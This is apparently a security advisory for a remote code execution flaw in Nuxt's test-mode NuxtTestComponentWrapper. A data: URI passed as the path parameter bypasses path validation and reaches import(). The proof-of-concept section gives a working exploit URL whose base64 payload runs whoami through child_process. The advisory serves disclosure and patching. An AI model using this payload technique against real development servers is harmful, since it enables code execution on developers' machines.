Summary

Due to the insufficient validation of the path parameter in the NuxtTestComponentWrapper, an attacker can execute arbitrary JavaScript on the server side, which allows them to execute arbitrary commands.

Details

While running the test, a special component named NuxtTestComponentWrapper is available. https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/nuxt-root.vue#L42-L43

This component loads the specified path as a component and renders it.

https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L9-L27

There is a validation for the path parameter to check whether the path traversal is performed, but this check is not sufficient.

https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L15-L19

Since import(...) uses query.path instead of the normalized path, a non-normalized URL can reach the import(...) function. For example, passing something like ./components/test normalizes path to /root/directory/components/test, but import(...) still receives ./components/test.

By using this behavior, it's possible to load arbitrary JavaScript by using the path like the following:

data:text/javascript;base64,Y29uc29sZS5sb2coMSk

Since resolve(...) resolves the filesystem path, not the URI, the above URI is treated as a relative path, but import(...) sees it as an absolute URI, and loads it as a JavaScript.

PoC

1. Create a nuxt project and run it in the test mode:

npx nuxi@latest init test
cd test
TEST=true npm run dev

2. Open the following URL:

http://localhost:3000/__nuxt_component_test__/?path=data%3Atext%2Fjavascript%3Bbase64%2CKGF3YWl0IGltcG9ydCgnZnMnKSkud3JpdGVGaWxlU3luYygnL3RtcC90ZXN0JywgKGF3YWl0IGltcG9ydCgnY2hpbGRfcHJvY2VzcycpKS5zcGF3blN5bmMoIndob2FtaSIpLnN0ZG91dCwgJ3V0Zi04Jyk

3. Confirm that the output of whoami is written to /tmp/test

Demonstration video: https://www.youtube.com/watch?v=FI6mN8WbcE4

Impact

Users who open a malicious web page in the browser while running the test locally are affected by this vulnerability, which results in the remote code execution from the malicious web page. Since web pages can send requests to arbitrary addresses, a malicious web page can repeatedly try to exploit this vulnerability, which then triggers the exploit when the test server starts.